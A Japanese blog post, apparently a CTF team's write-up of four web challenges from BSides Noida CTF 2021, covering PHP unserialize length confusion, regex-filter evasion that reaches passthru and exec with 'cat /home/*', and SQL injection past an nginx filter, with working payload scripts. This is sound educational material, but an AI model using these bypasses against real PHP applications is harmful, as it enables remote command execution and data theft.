st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

BSides Noida CTF 2021 writeup

8/7 - 8/8という日程で開催された。zer0ptsで参加して1位。

[Web 462] wowooo (37 solves)

ユーザ名を与えると事前に用意された文字列に展開され、unserialize される。その返り値の2番目の要素が V13tN4m_number_one であればフラグが得られる。

<?php
include 'flag.php';
function filter($string){
    $filter = '/flag/i';
    return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
    echo $flag;
}
if (!isset($_GET['debug'])) {
    echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
    highlight_file( __FILE__);
}
?>
<!-- debug -->

なぜかユーザ名に含まれる flagflagcc に置換されているが、この置換はユーザ名をテンプレートの文字列に展開した後に行われている。このために展開時の strlen($username) と置換後のユーザ名の文字数とが違った値になってしまう。

例えば、ユーザ名が flagflagflagflag であった場合に最終的に unserialize される文字列は a:2:{i:0;s:32:"flagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:15:"Fl4g_in_V13tN4m";} になる。PHPserialize は文字列を s:(文字数):"(文字列)"; のようにシリアライズするが、この場合だと s:48:"…"; であるべきところが s:32:"…"; になってしまっており、正しく unserialize できない文字列になっている。

これをうまく使えば、unserialize されると2番目の要素が V13tN4m_number_one である配列になるような文字列を作ることもできる。flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}aaaaaaaaaaaaaa をユーザ名として投げるとフラグが得られた。

BSNoida{3z_ch4all_46481684185_!!!!!!@!}

[Web 465] freepoint (34 solves)

/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i という正規表現に引っかからないようなPHPコードを作る問題。

implode('',[chr(97),chr(98),chr(99)]) みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la') みたいな感じでコマンドを実行する。

<?php
function encode($s) {
  $res = "implode('',[";

  $l = strlen($s);
  for ($i = 0; $i < $l; $i++) {
    $res .= 'chr(' . ord($s[$i]) . '),';
  }

  $res .= '])';
  return $res;
}

class BSides {
  function __construct($payload) {
    $this->note = $payload;
    $this->name = 'admin';
    $this->option = 'getFlag';
  }
}

echo 'http://ctf.freepoint.bsidesnoida.in/?ctf=' . urlencode(serialize(new Bsides(
  '(' . encode('passthru') . ')(' . encode('cat /home/*') . ')'
)));
BSNoida{Fre3_fl4g_f04_y0u_@@55361988!!!}

[Web 477] Baby Web Revenge (24 solves)

以下のような感じでSQLiがある。

    $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);

のだけれども、nginx側で以下のように chall_id というGETパラメータにフィルターがかけられてしまっている。

 if ( $arg_chall_id ~ [A-Za-z_.%]){
        return 500;
    }

PHPはGETパラメータの名前に . が含まれていた場合には自動的にそれを _ に変換するので、これを使えばフィルターを回避できる。

?chall.id=1/**/union/**/select/**/sql,2,3,4,5,6/**/from/**/sqlite_mastertherealflags テーブルの存在がわかるので、これを読み出すとフラグが得られる。

BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4_fr0m_4n_1nt3nd3d_s01ut10nxD}

[Web 493] Calculate (8 solves)

/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/ という正規表現に引っかからず、また110文字以内の文字列であれば eval されるという問題。freepointがさらに厳しくなったような感じ。

まず正規表現について、これに引っかからないASCII内の文字は $()+,-./012478;<=>?C[]_{} だけ。UIUCTFのphpfuck_fixedと比べると優しく見えるが、110文字という文字数制限は厳しい。

nyankoさんが文字列の入った変数はインクリメントでき、これを使って C から様々な文字が作れることを発見していた。例えば、$s という変数に ABC という文字列が入っていた場合に $s をインクリメントすると、$sABD という文字列に変わる。

また、配列と文字列を文字列結合演算子で結合させようとすると、配列の方は Array という文字列に変換される。これを使えば ([].C)[1] から r という文字が作れる。

これらを組み合わせて、nyankoさんが $C=C.C;$C++;$C++;$C++;$C++;$C++;$C=$C.([].[])[2] というコードで CHr という文字列が作れることを見つけていた。

ただ、関数の呼び出しのために chr でいちいち関数名や引数になる文字列を組み立てていてはすぐに110文字を超えてしまう。この chr_GET という文字列を組み立てて適当な変数(例えば $_) に代入しておけば、可変変数という機能を使って ($$_[0])($$_[1]) という ($_GET[0])($_GET[1]) 相当のコードを作ることができる。これを使えば、呼び出したい関数があればGETパラメータにその名前と引数を入れるだけで呼び出せる。

import requests
payload = '$C=C.C,$C++,$C++,$C++,$C++,$C++,$C.=([].C)[2],$_=(_.$C(72-1).$C(70-1).$C(84)),($$_[0])($$_[1])'
r = requests.post('http://ctf.calculate.bsidesnoida.in/', data={
  'VietNam': payload
}, params={
  '0': 'exec',
  '1': 'cat /home/*'
})
print(r.text)
BSNoida{w0w_gr3at_Th4nk_y0u_f0r_j0in1ng_CTF_!!!!!!}